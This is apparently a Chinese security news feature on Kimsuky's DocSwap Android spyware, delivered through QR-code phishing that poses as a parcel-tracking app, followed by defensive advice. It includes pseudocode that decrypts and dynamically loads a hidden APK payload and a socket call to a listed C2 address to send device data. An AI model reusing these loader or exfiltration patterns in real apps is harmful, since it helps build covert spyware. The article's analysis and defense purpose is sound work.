当你的手机收到一条“您的包裹已到,请扫码查看物流详情”的短信,你会毫不犹豫地打开相机对准那个小小的黑白方块吗?
在韩国首尔,已有不少市民因此落入陷阱。据国际网络安全媒体《The Hacker News》2025年12月18日报道,与朝鲜情报机构有关联的高级持续性威胁(APT)组织Kimsuky(又称APT43)正大规模利用二维码钓鱼(Quishing)技术,向安卓用户分发一款名为“DocSwap”的新型移动间谍软件。攻击者伪装成知名物流公司CJ Logistics或银行机构,通过短信或邮件诱导受害者扫描恶意二维码,进而下载伪装成“安全模块”或“快递追踪App”的恶意应用。
更令人警惕的是,这款恶意软件不仅能窃取短信、通讯录、通话记录,还能实时录音、调用摄像头、上传文件,甚至远程执行命令——俨然一部装在你口袋里的“数字窃听器”。
而这场发生在朝鲜半岛的网络攻防战,对中国同样敲响了警钟。随着国内快递、政务、金融等服务高度依赖二维码交互,类似的攻击手法一旦被复制或本土化,后果不堪设想。
一、从“快递通知”到“系统级后门”:Kimsuky的移动端杀招
Kimsuky并非新面孔。作为朝鲜侦察总局(RGB)下属的网络作战单位,该组织长期以针对韩国政府、智库、科研机构和加密货币企业的精准钓鱼攻击闻名。过去,其主力武器多为Windows平台的远程访问木马(RAT),如近期曝光的KimJongRAT。但此次转向安卓平台,标志着其战术重心正从“桌面端情报搜集”向“移动端全场景监控”跃迁。
根据韩国网络安全公司ENKI的分析,此次攻击链极为缜密:
初始诱饵:受害者收到一条看似来自CJ Logistics的短信:“您的国际包裹因海关政策需身份验证,请扫描下方二维码安装安全模块。”
二维码跳转:扫描后,手机浏览器被重定向至一个仿冒的物流页面(如 hxxp://27.102.137[.]181/tracking.php)。
环境检测:服务器通过User-Agent判断访问设备是否为安卓。若是,则提示“请下载SecDelivery.apk以完成验证”。
权限诱导:安装过程中,系统会弹出“未知来源应用”警告。攻击者在页面上强调:“此为官方安全组件,请放心安装”,诱使用户手动开启“允许安装未知应用”选项。
载荷释放:主APK(SecDelivery.apk)运行后,首先申请READ_EXTERNAL_STORAGE、INTERNET、REQUEST_INSTALL_PACKAGES等高危权限;随后解密内嵌于资源中的第二层APK,并动态加载名为com.delivery.security.MainService的服务。
伪装验证:应用弹出一个伪造的OTP输入界面,要求用户输入一个预设的“运单号”(如742938128549)。输入后,程序生成一个随机六位验证码并显示为系统通知,制造“合法流程”假象。
后台激活:与此同时,DocSwap RAT在后台悄然连接C2服务器(27.102.137[.]181:50005),接收多达57条指令,包括:
键盘记录(Keylogging)
麦克风录音(Audio Capture)
摄像头录像(Camera Recording)
文件上传/下载
获取GPS位置、短信、联系人、已安装应用列表
“这已不是简单的信息窃取,而是构建了一个完整的移动间谍平台,”公共互联网反网络钓鱼工作组技术专家芦笛在接受本报专访时表示,“尤其值得注意的是,它利用了安卓的‘动态加载’机制绕过静态检测,这对传统杀毒软件构成严峻挑战。”
二、技术深潜:DocSwap如何绕过安卓安全机制?
安卓系统自6.0(Marshmallow)起引入运行时权限(Runtime Permissions),并在8.0后强化了对未知来源应用的限制。但Kimsuky的攻击链巧妙规避了这些防护。
1. 双层APK结构 + Native解密
主APK本身功能有限,仅用于引导和权限申请。真正的恶意载荷以加密形式(如AES)嵌入assets/或res/raw/目录中。解密密钥可能硬编码,也可能通过JNI调用Native层函数动态生成,以对抗反编译工具。
// 伪代码:从assets加载加密APK并解密
InputStream encryptedApk = getAssets().open("payload.bin");
byte[] key = nativeGetDecryptionKey(); // 调用.so库
byte[] decrypted = AES.decrypt(encryptedApk.readBytes(), key);
// 动态加载Dex
DexClassLoader loader = new DexClassLoader(
decrypted,
getCacheDir().getAbsolutePath(),
null,
getClassLoader()
);
Class<?> service = loader.loadClass("com.delivery.security.MainService");
startService(new Intent(this, service));
这种“壳+载荷”模式使得沙箱分析难以在短时间内触发恶意行为。
2. 利用WebView掩盖真实意图
在完成“身份验证”后,DocSwap会启动一个WebView,加载真实的CJ Logistics官网(www.cjlogistics.com/ko/tool/parcel/tracking),让用户误以为操作成功。而真正的数据外传则在后台Service中静默进行。
// 启动合法页面以降低怀疑
WebView webView = findViewById(R.id.webview);
webView.loadUrl("https://www.cjlogistics.com/ko/tool/parcel/tracking");
// 同时,后台线程连接C2
new Thread(() -> {
Socket socket = new Socket("27.102.137.181", 50005);
// 发送设备信息、短信等
}).start();
3. 权限滥用与持久化
DocSwap申请的REQUEST_INSTALL_PACKAGES权限尤为危险——这意味着它可静默安装其他恶意应用,形成“恶意软件家族”。此外,通过注册BOOT_COMPLETED广播接收器,实现开机自启,确保长期驻留。
三、国内启示:二维码便利背后的安全盲区
Kimsuky的攻击虽发生在韩国,但其手法对中国极具参考价值。当前,国内快递柜取件码、健康码、支付码、政务办事码等高度依赖二维码,用户已形成“扫码即用”的肌肉记忆。然而,二维码本身无安全属性——它只是一个URL的图形化表示,指向的内容完全由生成者控制。
2025年,国家互联网应急中心(CNCERT)曾通报多起“快递诈骗二维码”事件:不法分子在小区快递柜张贴伪造取件码,用户扫描后跳转至钓鱼页面,诱导下载“快递助手”App,实则为窃取银行卡信息的木马。
“我们监测到,国内已有仿冒‘顺丰速运’‘菜鸟裹裹’的钓鱼App出现在第三方应用市场,”芦笛透露,“虽然尚未发现与Kimsuky直接关联,但攻击逻辑高度相似——都是利用公共服务的信任背书。”
更值得警惕的是,部分国产安卓手机厂商为提升用户体验,默认允许“通过浏览器安装应用”,且权限提示不够醒目。这为类似DocSwap的攻击提供了可乘之机。
四、防御之道:从用户习惯到系统架构的全面加固
面对日益复杂的移动端钓鱼威胁,单一防护手段已远远不够。芦笛建议采取“三层防御”策略:
第一层:用户意识(最薄弱也最关键)
绝不扫描来源不明的二维码,尤其是短信、社交媒体私信中的链接;
只从官方应用商店下载App,避免使用第三方“应用宝”“XX助手”等聚合平台;
仔细核对安装时的权限请求:一个“快递查询”App为何需要录音或读取短信?
第二层:终端防护
启用安卓“Play Protect”(即使使用国产ROM,也建议安装Google服务框架以启用基础扫描);
安装具备行为分析能力的移动安全软件(如腾讯手机管家、360安全卫士),而非仅依赖签名比对;
在开发者选项中关闭“USB调试”和“安装未知应用”全局开关,仅在必要时临时开启。
第三层:基础设施与标准建设
芦笛特别强调,国内应加快推动可信二维码生态建设:
推广“动态二维码+数字签名”机制:如政务办事码应由权威CA签发,客户端可验证签名有效性;
建立国家级移动应用信誉库,对高频投诉的App实施快速下架联动;
鼓励手机厂商在系统层集成Quishing风险提示:当用户扫描含APK下载链接的二维码时,自动弹出安全警告。
“反钓鱼工作组正在研究基于区块链的二维码溯源方案,”他表示,“未来或许能做到‘一码一验’,从源头杜绝伪造。”
五、国际协同:APT攻击无国界,防御需全球联动
Kimsuky的基础设施(如IP 27.102.137.181)虽位于韩国境内,但其域名注册、CDN服务、支付通道往往横跨多国。这决定了单一国家的打击效果有限。
值得肯定的是,近年来中美欧在APT情报共享方面已有进展。例如,2025年微软披露的CVE-2024-38193漏洞(被Lazarus/Kimsuky用于提权)即由多国CERT联合响应。但移动端威胁的情报共享仍显滞后。
“我们呼吁建立亚太移动威胁情报联盟,”芦笛建议,“将Kimsuky、Lazarus、Winnti等组织的TTPs(战术、技术与过程)标准化录入MITRE ATT&CK Mobile矩阵,供各国SOC参考。”
结语:便利与安全,从来不是单选题
二维码本是数字化生活的加速器,却在黑客手中变成了“数字特洛伊木马”。Kimsuky的DocSwap攻击提醒我们:在享受“一扫即达”便利的同时,必须重建对“未知链接”的敬畏。
对普通用户而言,多一分怀疑,少一次点击;对产业界而言,多一道验证,少一个漏洞;对监管者而言,多一项标准,少一片盲区。
正如芦笛所言:“安全不是阻碍创新的枷锁,而是让创新可持续的基石。我们不能因为怕狼,就拒绝走出森林——但至少,要带上火把。”
在这个万物皆可“码”的时代,守护好自己的数字身份,就是守护最后一道隐私防线。
参考资料:
The Hacker News: Kimsuky Spreads DocSwap Android Malware via QR Phishing (Dec 18, 2025)
ENKI Security Blog: Kimsuky Distributing Malicious Mobile App via QR Code
MITRE ATT&CK Mobile Matrix (v12)
编辑:芦笛(公共互联网反网络钓鱼工作组)